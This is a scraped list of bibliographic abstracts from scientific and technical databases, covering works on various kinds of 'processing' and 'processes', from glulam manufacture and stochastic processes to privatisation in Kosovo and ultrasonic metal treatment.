2006-01-01 Now in its fifth edition, John C. Russ's monumental image processing reference is an even more complete, modern, and hands-on tool than ever before. The Image Processing Handbook, Fifth Edition is fully updated and expanded to reflect the latest developments in the field. Written by an expert with unequalled experience and authority, it offers clear guidance on how to create, select, and use the most appropriate algorithms for a specific application. What's new in the Fifth Edition? · A new chapter on the human visual process that explains which visual cues elicit a response from the vie 10. Study on Glulam Process Institute of Scientific and Technical Information of China (English) PENG Limin; WANG Haiqing; HE Weili 2006-01-01 This paper selected lumbers of Manchurian ash (Fraxinus rnandshurica), Manchurian walnut (Juglans mandshuricd) and Spruce (Picea jezoensis vai.kornamvii) for manufacturing glulam with water-borne polymeric-isocyanate adhesive to determine process variables. The process variables that include specific pressure, pressing time and adhesive application amount influencing the shear strength of the glulam, were investigated through the orthogonal test. The results indicated that optimum process variables for glulam manufacturing were as follows: Specific pressure of 1.5 MPa for Spruce and 2,0 MPa both for Manchurian ash and Manchurian walnut, pressing time of 60 min and adhesive application amount of 250 g/m2. 11. Getting Started with Processing CERN Document Server Reas, Casey 2010-01-01 Learn computer programming the easy way with Processing, a simple language that lets you use code to create drawings, animation, and interactive graphics. Programming courses usually start with theory, but this book lets you jump right into creative and fun projects. It's ideal for anyone who wants to learn basic programming, and serves as a simple introduction to graphics for people with some programming skills. Written by the founders of Processing, this book takes you through the learning process one step at a time to help you grasp core programming concepts. You'll learn how to sketch wi 12. Dissolution processes. [224 references Energy Technology Data Exchange (ETDEWEB) Silver, G.L. 1976-10-22 This review contains more than 100 observations and 224 references on the dissolution phenomenon. The dissolution processes are grouped into three categories: methods of aqueous attack, fusion methods, and miscellaneous observations on phenomena related to dissolution problems. (DLC) 13. TERMINOLOGY IN PROCESS MANAGEMENT Directory of Open Access Journals (Sweden) Igor G. Fedorov 2013-01-01 Full Text Available We can be mistaken to formulate basic concepts of process management, and we are at risk to be on the wrong way solving the focused problems – instead of process management we could do automatization, instead of process system we could introduce function-oriented system. Without having a clear idea of the model we have to execute, we can plan this model as an analytical one and do not include all the necessary tools for management on the stage of planning. The article is targeted for the analysts who have skills in analytical modeling of business processes and would like to make a step forward to the implementation of these models. In order to become professionals in this field it is necessary to learn the terminology, first of all. 14. Cooperative processing data bases Science.gov (United States) Hasta, Juzar 1991-01-01 Cooperative processing for the 1990's using client-server technology is addressed. The main theme is concepts of downsizing from mainframes and minicomputers to workstations on a local area network (LAN). This document is presented in view graph form. 15. IT Project Prioritization Process DEFF Research Database (Denmark) Shollo, Arisa; Constantiou, Ioanna 2013-01-01 In most of the large companies IT project prioritization process is designed based on principles of evidencebased management. We investigate a case of IT project prioritization in a financial institution, and in particular, how managers practice evidence-based management during this process. We use...... a rich dataset built from a longitudinal study of the prioritization process for the IT projects. Our findings indicate that managers reach a decision not only by using evidence but from the interplay between the evidence and the judgment devices that managers employ. The interplay between evidence...... and judgment devices is manifested in three ways: supplementing, substituting, and interpreting evidence. We show that while evidence does not fully determine the decision, it plays a central role in discussions, reflections, and negotiations during the IT prioritization process.... 16. Assessing Process and Product DEFF Research Database (Denmark) Bennedsen, Jens; Caspersen, Michael E. 2006-01-01 The final assessment of a course must reflect its goals, and contents. An important goal of our introductory programming course is that the students learn a systematic approach for the development of computer programs. Having the programming process as learning objective naturally raises the ques......The final assessment of a course must reflect its goals, and contents. An important goal of our introductory programming course is that the students learn a systematic approach for the development of computer programs. Having the programming process as learning objective naturally raises...... the question how to include this in assessments. Traditional assessments (e.g. oral, written, or multiple choice) are unsuitable to test the programming process. We describe and evaluate a practical lab examination that assesses the students' programming process as well as the developed programs... 17. Improving Healthcare Logistics Processes DEFF Research Database (Denmark) Feibert, Diana Cordes provision whilst providing high quality care. Logistics activities in hospitals provide a significant opportunity for cost containment in healthcare through the implementation of best practices. Literature provides little guidance on how to improve healthcare logistics processes. This study investigates......Healthcare costs are increasing due to an ageing population and more sophisticated technologies and treatments. At the same time, patients expect high quality care at an affordable cost. The healthcare industry has therefore experienced increasing pressures to reduce the cost of healthcare...... logistics processes in hospitals and aims to provide theoretically and empirically based evidence for improving these processes to both expand the knowledge base of healthcare logistics and provide a decision tool for hospital logistics managers to improve their processes. Case studies were conducted... 18. Processed Products Database System Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Collection of annual data on processed seafood products. The Division provides authoritative advice, coordination and guidance on matters related to the collection,... 19. Business Model Process Configurations DEFF Research Database (Denmark) Taran, Yariv; Nielsen, Christian; Thomsen, Peter 2015-01-01 Purpose – The paper aims: 1) To develop systematically a structural list of various business model process configuration and to group (deductively) these selected configurations in a structured typological categorization list. 2) To facilitate companies in the process of BM innovation......, by developing (inductively) an ontological classification framework, in view of the BM process configurations typology developed. Design/methodology/approach – Given the inconsistencies found in the business model studies (e.g. definitions, configurations, classifications) we adopted the analytical induction...... method of data analysis. Findings - A comprehensive literature review and analysis resulted in a list of business model process configurations systematically organized under five classification groups, namely, revenue model; value proposition; value configuration; target customers, and strategic... 20. Phenol removal pretreatment process Science.gov (United States) Hames, Bonnie R. 2004-04-13 A process for removing phenols from an aqueous solution is provided, which comprises the steps of contacting a mixture comprising the solution and a metal oxide, forming a phenol metal oxide complex, and removing the complex from the mixture. 1. SIMULATION OF LOGISTICS PROCESSES Directory of Open Access Journals (Sweden) Yu. Taranenko 2016-08-01 Full Text Available The article deals with the theoretical basis of the simulation. The study shows the simulation of logistic processes in industrial countries is an integral part of many economic projects aimed at the creation or improvement of logistics systems. The paper was used model Beer Game for management of logistics processes in the enterprise. The simulation model implements in AnyLogic package. AnyLogic product allows us to consider the logistics processes as an integrated system, which allows reaching better solutions. Logistics process management involves pooling the sales market, production and distribution to ensure the temporal level of customer service at the lowest cost overall. This made it possible to conduct experiments and to determine the optimal size of the warehouse at the lowest cost. 2. Radiation processing in Japan Energy Technology Data Exchange (ETDEWEB) Makuuchi, Keizo [Japan Atomic Energy Research Inst., Takasaki, Gunma (Japan). Takasaki Radiation Chemistry Research Establishment 2001-03-01 Economic scale of radiation application in the field of industry, agriculture and medicine in Japan in 1997 was investigated to compare its economic impacts with that of nuclear energy industry. Total production value of radiation application accounted for 54% of nuclear industry including nuclear energy industry and radiation applications in three fields above. Industrial radiation applications were further divided into five groups, namely nondestructive test, RI instruments, radiation facilities, radiation processing and ion beam processing. More than 70% of the total production value was brought about by ion beam processing for use with IC and semiconductors. Future economic prospect of radiation processing of polymers, for example cross-linking, EB curing, graft polymerization and degradation, is reviewed. Particular attention was paid to radiation vulcanization of natural rubber latex and also to degradation of natural polymers. (S. Ohno) 3. Ultrahigh bandwidth signal processing DEFF Research Database (Denmark) Oxenløwe, Leif Katsuo 2016-01-01 Optical time lenses have proven to be very versatile for advanced optical signal processing. Based on a controlled interplay between dispersion and phase-modulation by e.g. four-wave mixing, the processing is phase-preserving, an hence useful for all types of data signals including coherent multi......-level modulation founats. This has enabled processing of phase-modulated spectrally efficient data signals, such as orthogonal frequency division multiplexed (OFDM) signa In that case, a spectral telescope system was used, using two time lenses with different focal lengths (chirp rates), yielding a spectral...... regeneratio These operations require a broad bandwidth nonlinear platform, and novel photonic integrated nonlinear platform like aluminum gallium arsenide nano-waveguides used for 1.28 Tbaud optical signal processing will be described.... 4. Product and Process Modelling DEFF Research Database (Denmark) Cameron, Ian T.; Gani, Rafiqul This book covers the area of product and process modelling via a case study approach. It addresses a wide range of modelling applications with emphasis on modelling methodology and the subsequent in-depth analysis of mathematical models to gain insight via structural aspects of the models....... These approaches are put into the context of life cycle modelling, where multiscale and multiform modelling is increasingly prevalent in the 21st century. The book commences with a discussion of modern product and process modelling theory and practice followed by a series of case studies drawn from a variety...... to biotechnology applications, food, polymer and human health application areas. The book highlights to important nature of modern product and process modelling in the decision making processes across the life cycle. As such it provides an important resource for students, researchers and industrial practitioners.... 5. Towards processable Afrikaans CSIR Research Space (South Africa) Pretorius, L 2009-06-01 Full Text Available In this paper researchers discuss a number of structural problems that are faced with when designing a machine-oriented controlled natural language for Afrikaans taking the underlying principles of Attempto Controlled English (ACE) and Processable... 6. Essentials of stochastic processes CERN Document Server Durrett, Richard 2016-01-01 Building upon the previous editions, this textbook is a first course in stochastic processes taken by undergraduate and graduate students (MS and PhD students from math, statistics, economics, computer science, engineering, and finance departments) who have had a course in probability theory. It covers Markov chains in discrete and continuous time, Poisson processes, renewal processes, martingales, and option pricing. One can only learn a subject by seeing it in action, so there are a large number of examples and more than 300 carefully chosen exercises to deepen the reader’s understanding. Drawing from teaching experience and student feedback, there are many new examples and problems with solutions that use TI-83 to eliminate the tedious details of solving linear equations by hand, and the collection of exercises is much improved, with many more biological examples. Originally included in previous editions, material too advanced for this first course in stochastic processes has been eliminated while treatm... 7. Nonferrous Metal Processing Plants Data.gov (United States) Department of Homeland Security — This map layer includes nonferrous metal processing plants in the United States. The data represent commodities covered by the Minerals Information Team (MIT) of the... 8. Ultrasonic Processing of Materials Science.gov (United States) Han, Qingyou 2015-08-01 Irradiation of high-energy ultrasonic vibration in metals and alloys generates oscillating strain and stress fields in solids, and introduces nonlinear effects such as cavitation, acoustic streaming, and radiation pressure in molten materials. These nonlinear effects can be utilized to assist conventional material processing processes. This article describes recent research at Oak Ridge National Labs and Purdue University on using high-intensity ultrasonic vibrations for degassing molten aluminum, processing particulate-reinforced metal matrix composites, refining metals and alloys during solidification process and welding, and producing bulk nanostructures in solid metals and alloys. Research results suggest that high-intensity ultrasonic vibration is capable of degassing and dispersing small particles in molten alloys, reducing grain size during alloy solidification, and inducing nanostructures in solid metals. 9. Quantum processes in semiconductors CERN Document Server Ridley, B K 2013-01-01 Aimed at graduate students, this is a guide to quantum processes of importance in the physics and technology of semiconductors. The fifth edition includes new chapters that expand the coverage of semiconductor physics relevant to its accompanying technology. 10. Acoustic MIMO signal processing CERN Document Server Huang, Yiteng; Chen, Jingdong 2006-01-01 A timely and important book addressing a variety of acoustic signal processing problems under multiple-input multiple-output (MIMO) scenarios. It uniquely investigates these problems within a unified framework offering a novel and penetrating analysis. 11. Reconfigurable network processing platforms NARCIS (Netherlands) Kachris, C. 2007-01-01 This dissertation presents our investigation on how to efficiently exploit reconfigurable hardware to design flexible, high performance, and power efficient network devices capable to adapt to varying processing requirements of network applications and traffic. The proposed reconfigurable network pr 12. Processer i undervisningen DEFF Research Database (Denmark) Bundsgaard, Jeppe Undersøgelsen har fokus på processer i undervisningen – og derigennem på hvordan digitale læremidler kan understøtte eller integreres i typiske processer. Undersøgelsen hviler på deltagende observation på Abildgårdskolen i Odense. Gennem observationerne er der identificeret en række eksempler på ...... udfordringer for at gennemføre de undervisningsmæssige processer og givet bud på digitale læremidler der forventes at kunne understøtte processerne. Undersøgelsen viser samtidig hvordan fokus på processer kan fungere som en metode til brugerdreven innovation.... 13. CAPSULE REPORT: EVAPORATION PROCESS Science.gov (United States) Evaporation has been an established technology in the metal finishing industry for many years. In this process, wastewaters containing reusable materials, such as copper, nickel, or chromium compounds are heated, producing a water vapor that is continuously removed and condensed.... 14. Ferrous Metal Processing Plants Data.gov (United States) Department of Homeland Security — This map layer includes ferrous metal processing plants in the United States. The data represent commodities covered by the Minerals Information Team (MIT) of the... 15. Markovian risk process Institute of Scientific and Technical Information of China (English) WANG Han-xing; YAN Yun-zhi; ZHAO Fei; FANG Da-fan 2007-01-01 A Markovian risk process is considered in this paper, which is the generalization of the classical risk model. It is proper that a risk process with large claims is modelled as the Markovian risk model. In such a model, the occurrence of claims is described by a point process {N(t)}t≥o with N(t) being the number of jumps during the interval (0, t] for a Markov jump process. The ruin probability Ψ(u) of a company facing such a risk model is mainly studied. An integral equation satisfied by the ruin probability function Ψ(u) is obtained and the bounds for the convergence rate of the ruin probability Ψ(u) are given by using a generalized renewal technique developed in the paper. 16. Biomedical signal processing CERN Document Server Akay, Metin 1994-01-01 Sophisticated techniques for signal processing are now available to the biomedical specialist! Written in an easy-to-read, straightforward style, Biomedical Signal Processing presents techniques to eliminate background noise, enhance signal detection, and analyze computer data, making results easy to comprehend and apply. In addition to examining techniques for electrical signal analysis, filtering, and transforms, the author supplies an extensive appendix with several computer programs that demonstrate techniques presented in the text. 17. Metoda Analytic Network Process OpenAIRE 2010-01-01 The thesis is concerned with Multi-Criteria Decision Making, in particular the Analytic Network Process method. The introductory part is dedicated to compile all the theory necessary to understand the method and utilized throughout the paper. The Analytic Hierarchy Process method is described and later generalized in the form of the ANP. Part of the paper is a description of available software products that are able to solve the ANP models. The main focus is on the application of the method, ... 18. Fractional Pure Birth Processes CERN Document Server Orsingher, Enzo; 10.3150/09-BEJ235 2010-01-01 We consider a fractional version of the classical non-linear birth process of which the Yule-Furry model is a particular case. Fractionality is obtained by replacing the first-order time derivative in the difference-differential equations which govern the probability law of the process, with the Dzherbashyan-Caputo fractional derivative. We derive the probability distribution of the number \\mathcal{N}_\ 19. Scramjet Combustion Processes Science.gov (United States) 2010-09-01 plan for these flights is as follows: Scramjet Combustion Processes RTO-EN-AVT-185 11 - 21 HyShot 5 – A Free-Flying Hypersonic Glider HyShot...5 will be a hypersonic glider designed to fly at Mach 8. It will separate from its rocket booster in space and perform controlled manoeuvres as it...RTO-EN-AVT-185 11 - 1 Scramjet Combustion Processes Michael Smart and Ray Stalker Centre for Hypersonics The University of Queensland 20. Planetary atmosphere processes Energy Technology Data Exchange (ETDEWEB) Sidorenkov, N.S. 1991-01-01 The papers presented in this volume focus on various atmospheric processes, including zonal circulation of the atmosphere, the quasi-biennial cycle, blocking processes, monsoon circulation, and the response of the atmosphere to solar corpuscular fluxes. Other topics discussed include climatic characteristics of atmospheric circulation in the Northern and Southern Hemispheres, seasonal changes of the geopotential in the tropical stratosphere, and characteristics of the Southern Oscillation-El Nino phenomenon. 1. Solution Processing - Rodlike Polymers Science.gov (United States) 1979-08-01 side it necessary and identify by block number) Para-ordered Polymers High Modulus Fibers and Films Polybenzobisoxazoles Polybenzobisthiazoles 20...considerations important in solution processing are considered, with special emphasis on the dry-jet wet spinning process used to form fibers . Pertinent...Company, Summit, N.J. iii TABLE OF CONTENTS 1. INTRODUCTION ................ .......................... .. 1 2. REMARKS ON DRY-JET WET SPUN FIBER 2. Process for compound transformation KAUST Repository Basset, Jean-Marie 2016-12-29 Embodiments of the present disclosure provide for methods of using a catalytic system to chemically transform a compound (e.g., a hydrocarbon). In an embodiment, the method does not employ grafting the catalyst prior to catalysis. In particular, embodiments of the present disclosure provide for a process of hydrocarbon (e.g., C1 to C20 hydrocarbon) metathesis (e.g., alkane, olefin, or alkyne metathesis) transformation, where the process can be conducted without employing grafting prior to catalysis. 3. Digital signal processing: Handbook Science.gov (United States) Goldenberg, L. M.; Matiushkin, B. D.; Poliak, M. N. The fundamentals of the theory and design of systems and devices for the digital processing of signals are presented. Particular attention is given to algorithmic methods of synthesis and digital processing equipment in communication systems (e.g., selective digital filtering, spectral analysis, and variation of the signal discretization frequency). Programs for the computer-aided analysis of digital filters are described. Computational examples are presented, along with tables of transfer function coefficients for recursive and nonrecursive digital filters. 4. Harmonizable Processes: Structure. Science.gov (United States) 1980-11-05 a related result of Thomas ([39], p. 146). However, the Bourbaki set up of these papers is inconvenient here, and they will be converted to the set ...of processes. 1 2 2i 1. Introduction. Recently there have been significant attempts for extending the well-understood theory of stationary processes...characterizations of the respective classes. This involves a free use of some elementary aspects of vector measure theory ; and it already raises some interesting 5. Diasporic Relationships and Processes DEFF Research Database (Denmark) Singla, Rashmi 2010-01-01 How does moving across the geographical borders affect the relationships of diaspora members both here – in the country of residence and there- in the country of origin? The article delineates some of the processes through gendered experiences of the young adults perceived as active actors based...... an empirical longitudinal study. The results indicate transformations in belongings and longings indicating reinterpretation of the self, others and home in context of exclusion processes at various levels.... 6. Cognitive Processes in Writing Institute of Scientific and Technical Information of China (English) 李莹 2009-01-01 Writing has become one of important topic to discuss in the new age.Its theories could be generally learnt,but its nature needs to handle in specific contents.In another words,every one who can write must generate his/her thinking or cognitive processes.Because writing thinking is to do meaningful activities,how to solove writing problems could be managed through cognitive process. 7. Cauchy cluster process DEFF Research Database (Denmark) 2013-01-01 In this paper we introduce an instance of the well-know Neyman–Scott cluster process model with clusters having a long tail behaviour. In our model the offspring points are distributed around the parent points according to a circular Cauchy distribution. Using a modified Cramér-von Misses test st...... statistic and the simulated pointwise envelopes it is shown that this model fits better than the Thomas process to the frequently analyzed long-leaf pine data-set.... 8. Typical Logistical Processes Directory of Open Access Journals (Sweden) Igor Trupac 2012-10-01 Full Text Available For modern global economic activity changes in the structureof goods, networks, technical and technological developmentand increased competence are significant, which requiresnew solutions and new mode of thinking.The competitive model which relied in the past on productinnovation will have to be largely supplemented by process innovationthat add greater value for customers. The basis forcompeting today and in the future will be competitive advantagewhich enhances product excellence as well as process excellence. 9. Bank Record Processing Science.gov (United States) 1982-01-01 Barnett Banks of Florida, Inc. operates 150 banking offices in 80 Florida cities. Banking offices have computerized systems for processing deposits or withdrawals in checking/savings accounts, and for handling commercial and installment loan transactions. In developing a network engineering design for the terminals used in record processing, an affiliate, Barnett Computing Company, used COSMIC's STATCOM program. This program provided a reliable network design tool and avoided the cost of developing new software. 10. Laser Processed Heat Exchangers Science.gov (United States) Hansen, Scott 2017-01-01 The Laser Processed Heat Exchanger project will investigate the use of laser processed surfaces to reduce mass and volume in liquid/liquid heat exchangers as well as the replacement of the harmful and problematic coatings of the Condensing Heat Exchangers (CHX). For this project, two scale unit test articles will be designed, manufactured, and tested. These two units are a high efficiency liquid/liquid HX and a high reliability CHX. 11. Poststroke neuroplasticity processes Directory of Open Access Journals (Sweden) I. V. Damulin 2014-01-01 Full Text Available The paper considers different aspects of neuroplasticity in patients with stroke. It underlines the dynamism of this process and the ambiguity of involvement of the structures of the contralateral cerebral hemisphere in the restorative process. It considers the periods after onset of stroke and the activation of different brain regions (of both the involved and intact hemisphere in the poststroke period. Particular emphasis is placed on the issues of neurorehabilitation in this category of patients. Delay in rehabilitation measures leads to a worse outcome, the patients must be at hospital longer. It is emphasized that the neurorehabilitaton measures should use strategies aimed at improving plasticity processes at the level of synaptic transmission and neuronal communications. At the same time, of great importance are the processes of structural and functional remodeling of neuronal communications with the involvement of surviving neurons that are located in the peri-infarct area and partially damaged during ischemia. To recover stroke-induced lost motor functions, measures are implemented to modulate the ipsilateral motor cortex, contralateral motor cortex, and sensory afferentation. Remodeling processes, one of the manifestations of neuroplasticity, vary with the size and location of an ischemic focus. The specific features of this process with subcortical and cortical foci are considered. It is stressed that there are genetically determined neurotrophic factors that may enhance remodeling processes in the peri-infarct area, as well as factors that inhibit these processes. The sensory system is noted to have a high potential of compensation, which is appreciably associated with the considerable extent of sensory fibers even at the level of the cerebral cortex. 12. Image Processing Software Science.gov (United States) 1992-01-01 To convert raw data into environmental products, the National Weather Service and other organizations use the Global 9000 image processing system marketed by Global Imaging, Inc. The company's GAE software package is an enhanced version of the TAE, developed by Goddard Space Flight Center to support remote sensing and image processing applications. The system can be operated in three modes and is combined with HP Apollo workstation hardware. 13. The Integrated Renovation Process DEFF Research Database (Denmark) Galiotto, Nicolas; Heiselberg, Per; Knudstrup, Mary-Ann The Integrated Renovation Process (IRP) is a user customized methodology based on judiciously selected constructivist and interactive multi-criteria decision making methods (Galiotto, Heiselberg, & Knudstrup, 2014 (expected)). When applied for home renovation, the Integrated Renovation Process...... for the quantitative analyses and the generation of the renovation scenarios so they get more time for the cost optimisation and the qualitative analysis of the homeowners’ needs, wishes and behaviours.... 14. Privatisation Process in Kosovo Directory of Open Access Journals (Sweden) Dr.Sc. Hysni Terziu 2015-06-01 Full Text Available This paper aims at analysing activities of the privatisation process in Kosovo, seeing that privatisation is treated as a fundamental factor of overall transformation of the whole society. It may be established that the primary aim of privatisation process is increasing economic efficiency, reflection of the current state and directions of development in general. Privatisation as a process has as primary aim of opening new areas of freedom, economic efficiency and individualism. Key aim of privatisation process in Kosovo must be increase of economic efficiency, preservation of the healthy economic potential created up to date, and ensuring of the long term concept, which enables growth and macroeconomic stability. The policy of privatisation should give a response related to strategic aspects of privatisation of these sectors: of models, procedures, potential investors, technological modernisation and overtaking of social barriers. Process of privatisation and transition which has now covered countries of the Eastern and Central Europe, aims at profound economic and political transformation of these countries. To achieve this, it is necessarily required to have some basic preconditions, which are related to incitement of general efficiency of the enterprises, expansion of the capital market, introduction of competition, development of business culture in private property and freedom of entrepreneurship. Impacts of privatisation in economic development of Kosovo take a considerable place compared to other countries, therefore our aim is that through this paper we analyse factors and methods of implementation in this process. 15. Helium process cycle Science.gov (United States) Ganni, Venkatarao 2007-10-09 A unique process cycle and apparatus design separates the consumer (cryogenic) load return flow from most of the recycle return flow of a refrigerator and/or liquefier process cycle. The refrigerator and/or liquefier process recycle return flow is recompressed by a multi-stage compressor set and the consumer load return flow is recompressed by an independent consumer load compressor set that maintains a desirable constant suction pressure using a consumer load bypass control valve and the consumer load return pressure control valve that controls the consumer load compressor's suction pressure. The discharge pressure of this consumer load compressor is thereby allowed to float at the intermediate pressure in between the first and second stage recycle compressor sets. Utilizing the unique gas management valve regulation, the unique process cycle and apparatus design in which the consumer load return flow is separate from the recycle return flow, the pressure ratios of each recycle compressor stage and all main pressures associated with the recycle return flow are allowed to vary naturally, thus providing a naturally regulated and balanced floating pressure process cycle that maintains optimal efficiency at design and off-design process cycle capacity and conditions automatically. 16. PALSAR ground data processing Science.gov (United States) Frick, Heinrich; Palsetia, Marzban; Carande, Richard; Curlander, James C. 2002-02-01 The upcoming launches of new satellites like ALOS, Envisat, Radarsat2 and ECHO will pose a significant challenge for many ground stations, namely to integrate new SAR processing software into their existing systems. Vexcel Corporation in Boulder, Colorado, has built a SAR processing system, named APEX -Suite, for spaceborne SAR satellites that can easily be expanded for the next generation of SAR satellites. APEX-Suite includes an auto-satellite-detecting Level 0 Processor that includes bit-error correction, data quality characterization, and as a unique feature, a sophisticated and very accurate Doppler centroid estimator. The Level 1 processing is divided into the strip mode processor FOCUST, based on the well-proven range-Doppler algorithm, and the SWATHT ScanSAR processor that uses the Chirp Z Trans-form algorithm. A high-accuracy ortho-rectification processor produces systematic and precision corrected Level 2 SAR image pro ducts. The PALSAR instrument is an L-band SAR with multiple fine and standard resolution beams in strip mode, and several wide-swath ScanSAR modes. We will address the adaptation process of Vexcel's APEX-Suite processing system for the PALSAR sensor and discuss image quality characteristics based on processed simulated point target phase history data. 17. Environmental assessment: Geokinetics, Inc. oil shale research project, Uintah County, Utah Energy Technology Data Exchange (ETDEWEB) 1979-12-01 Geokinetics, Inc. (GKI) proposes to complete the remaining experimental program to develop the LOFRECO modified horizontal in situ oil shale retorting process. This Environmental Assessment Report addresses the impacts of the project, located in a remote area of east-central Utah, about 70 miles south of both Vernal and Roosevelt. 18. 9 CFR 318.300 - Definitions. Science.gov (United States) 2010-01-01 ... Animals and Animal Products FOOD SAFETY AND INSPECTION SERVICE, DEPARTMENT OF AGRICULTURE AGENCY... CERTIFICATION ENTRY INTO OFFICIAL ESTABLISHMENTS; REINSPECTION AND PREPARATION OF PRODUCTS Canning and Canned... emitted from the retort throughout the entire thermal process. (d) Canned product. A meat food... 19. Novel food processing techniques Directory of Open Access Journals (Sweden) Vesna Lelas 2006-12-01 Full Text Available Recently, a lot of investigations have been focused on development of the novel mild food processing techniques with the aim to obtain the high quality food products. It is presumed also that they could substitute some of the traditional processes in the food industry. The investigations are primarily directed to usage of high hydrostatic pressure, ultrasound, tribomechanical micronization, microwaves, pulsed electrical fields. The results of the scientific researches refer to the fact that application of some of these processes in particular food industry can result in lots of benefits. A significant energy savings, shortening of process duration, mild thermal conditions, food products with better sensory characteristics and with higher nutritional values can be achieved. As some of these techniques act also on the molecular level changing the conformation, structure and electrical potential of organic as well as inorganic materials, the improvement of some functional properties of these components may occur. Common characteristics of all of these techniques are treatment at ambient or insignificant higher temperatures and short time of processing (1 to 10 minutes. High hydrostatic pressure applied to various foodstuffs can destroy some microorganisms, successfully modify molecule conformation and consequently improve functional properties of foods. At the same time it acts positively on the food products intend for freezing. Tribomechanical treatment causes micronization of various solid materials that results in nanoparticles and changes in structure and electrical potential of molecules. Therefore, the significant improvement of some rheological and functional properties of materials occurred. Ultrasound treatment proved to be potentially very successful technique of food processing. It can be used as a pretreatment to drying (decreases drying time and improves functional properties of food, as extraction process of various components 20. Carbon dioxide reducing processes; Koldioxidreducerande processer Energy Technology Data Exchange (ETDEWEB) Svensson, Fredrik 1999-12-01 This thesis discusses different technologies to reduce or eliminate the carbon dioxide emissions, when a fossil fuel is used for energy production. Emission reduction can be accomplished by separating the carbon dioxide for storage or reuse. There are three different ways of doing the separation. The carbon dioxide can be separated before the combustion, the process can be designed so that the carbon dioxide can be separated without any energy consumption and costly systems or the carbon dioxide can be separated from the flue gas stream. Two different concepts of separating the carbon dioxide from a combined cycle are compared, from the performance and the economical point of view, with a standard natural gas fired combined cycle where no attempts are made to reduce the carbon dioxide emissions. One concept is to use absorption technologies to separate the carbon dioxide from the flue gas stream. The other concept is based on a semi-closed gas turbine cycle using carbon dioxide as working fluid and combustion with pure oxygen, generated in an air-separating unit. The calculations show that the efficiency (power) drop is smaller for the first concept than for the second, 8.7 % points compared to 13.7 % points, when power is produced. When both heat and power are produced, the relation concerning the efficiency (power) remains. Regarding the overall efficiency (heat and power) the opposite relation is present. A possible carbon dioxide tax must exceed 0.21 SEK/kg CO{sub 2} for it to be profitable to separate carbon dioxide with any of these technologies. Science.gov (United States) Sunstein, Cass R 2008-06-01 DEFF Research Database (Denmark) Lindgren, Peter; Jørgensen, Jacob Høj; Goduscheit, René Chester 2007-01-01 3. VLSI signal processing technology CERN Document Server Swartzlander, Earl 1994-01-01 This book is the first in a set of forthcoming books focussed on state-of-the-art development in the VLSI Signal Processing area. It is a response to the tremendous research activities taking place in that field. These activities have been driven by two factors: the dramatic increase in demand for high speed signal processing, especially in consumer elec­ tronics, and the evolving microelectronic technologies. The available technology has always been one of the main factors in determining al­ gorithms, architectures, and design strategies to be followed. With every new technology, signal processing systems go through many changes in concepts, design methods, and implementation. The goal of this book is to introduce the reader to the main features of VLSI Signal Processing and the ongoing developments in this area. The focus of this book is on: • Current developments in Digital Signal Processing (DSP) pro­ cessors and architectures - several examples and case studies of existing DSP chips are discussed in... 4. Ultrasonic processing of materials Energy Technology Data Exchange (ETDEWEB) Han, Q.; Sklad, P.S. [Oak Ridge National Laboratory, Oak Ridge, TN (United States) 2007-07-01 In some widely used alloys, dissolved gas precipitates form from liquids during solidification and form pores among solid dendrites and grains. The pores can lead to defects in aluminum shape casting. Research has suggested that ultrasonic vibrations have the potential to reduce the impurities present in traditional degassing methods. This paper summarized the results of several projects investigating the use of high intensity ultrasonic vibrations for material processing. The mechanisms of grain refining using high-intensity ultrasonic vibration were also investigated. High intensity ultrasonic vibrations were tested for the degassing of molten aluminum, grain refinement of alloys for industrial applications, and the modification of welding structures. Results of the studies to date have demonstrated that power ultrasound can be used to degas molten metal as well as for the grain refinement of alloys during solidification processes. Tests have demonstrated that the best grain refining effect was achieved when ultrasonic vibrations were introduced in the molten alloy at approximately 10 degrees C higher than the liquid temperature. The process is also suitable for improving the microstructure of steel weldments, as the process can modify the size and morphology of the primary phase and the secondary phases during the solidification of the alloy. Small and spherical grains in the size range of 30 {delta}m were obtained in aluminum A356 alloys. It was concluded that the benefits of ultrasonic vibrations on the alloy process were more pronounced in smaller specimens. 13 refs., 10 figs. 5. The Nursing Process Directory of Open Access Journals (Sweden) M. Hammond 1978-09-01 Full Text Available The essence of the nursing process can be summed up in this quotation by Sir Francis Bacon: “Human knowledge and human powers meet in one; for where the cause is not known the effect cannot be produced.” Arriving at a concise, accurate definition of the nursing process was, for me, an impossible task. It is altogether too vast and too personal a topic to contract down into a niftylooking, we-pay-lip-service-to-it cliché. So what I propose to do is to present my understanding of the nursing process throughout this essay, and then to leave the reader with some overall, general impression of what it all entails. 6. A support design process Energy Technology Data Exchange (ETDEWEB) Arthur, J.; Scott, P.B. [Health and Safety Executive (United Kingdom) 2004-07-01 A workman suffered a fatal injury due to a fall of ground from the face of a development drivage, which was supported by passive supports supplemented with roof bolts. A working party was set up to review the support process and evaluate how protection of the workmen could be improved whilst setting supports.The working party included representatives from the trade unions, the mines inspectorate and mine operators.Visits were made to several mines and discussions were held with the workmen and management at these mines. The paper describes the results of the visits and how a support design process was evolved. The process will ensure that the support system is designed to reduce the inherent hazards associated with setting supports using either conventional or mixed support systems. 7. Quartz resonator processing system Science.gov (United States) Peters, Roswell D. M. 1983-01-01 Disclosed is a single chamber ultra-high vacuum processing system for the oduction of hermetically sealed quartz resonators wherein electrode metallization and sealing are carried out along with cleaning and bake-out without any air exposure between the processing steps. The system includes a common vacuum chamber in which is located a rotatable wheel-like member which is adapted to move a plurality of individual component sets of a flat pack resonator unit past discretely located processing stations in said chamber whereupon electrode deposition takes place followed by the placement of ceramic covers over a frame containing a resonator element and then to a sealing stage where a pair of hydraulic rams including heating elements effect a metallized bonding of the covers to the frame. 8. Quantum independent increment processes CERN Document Server Franz, Uwe 2005-01-01 This volume is the first of two volumes containing the revised and completed notes lectures given at the school "Quantum Independent Increment Processes: Structure and Applications to Physics". This school was held at the Alfried-Krupp-Wissenschaftskolleg in Greifswald during the period March 9 – 22, 2003, and supported by the Volkswagen Foundation. The school gave an introduction to current research on quantum independent increment processes aimed at graduate students and non-specialists working in classical and quantum probability, operator algebras, and mathematical physics. The present first volume contains the following lectures: "Lévy Processes in Euclidean Spaces and Groups" by David Applebaum, "Locally Compact Quantum Groups" by Johan Kustermans, "Quantum Stochastic Analysis" by J. Martin Lindsay, and "Dilations, Cocycles and Product Systems" by B.V. Rajarama Bhat. 9. Laser Processing and Chemistry CERN Document Server Bäuerle, Dieter 2011-01-01 This book gives an overview of the fundamentals and applications of laser-matter interactions, in particular with regard to laser material processing. Special attention is given to laser-induced physical and chemical processes at gas-solid, liquid-solid, and solid-solid interfaces. 